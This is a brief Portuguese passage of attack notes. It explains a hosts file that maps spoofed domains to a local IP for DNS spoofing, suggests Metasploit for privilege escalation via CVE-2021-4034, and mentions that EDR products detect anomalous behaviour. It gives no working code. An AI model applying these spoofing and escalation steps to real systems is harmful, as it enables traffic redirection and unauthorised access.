  Explicação: hosts.txt mapeia domínios falsos (ex.: google.com 192.168.1.100). Teste acessando o domínio falsificado.

• Elevação de Privilégios: Use Metasploit para explorar CVEs (e.g., CVE-2021-4034).
• Zero-Day: EDRs como CrowdStrike detectam anomalias comportamentais.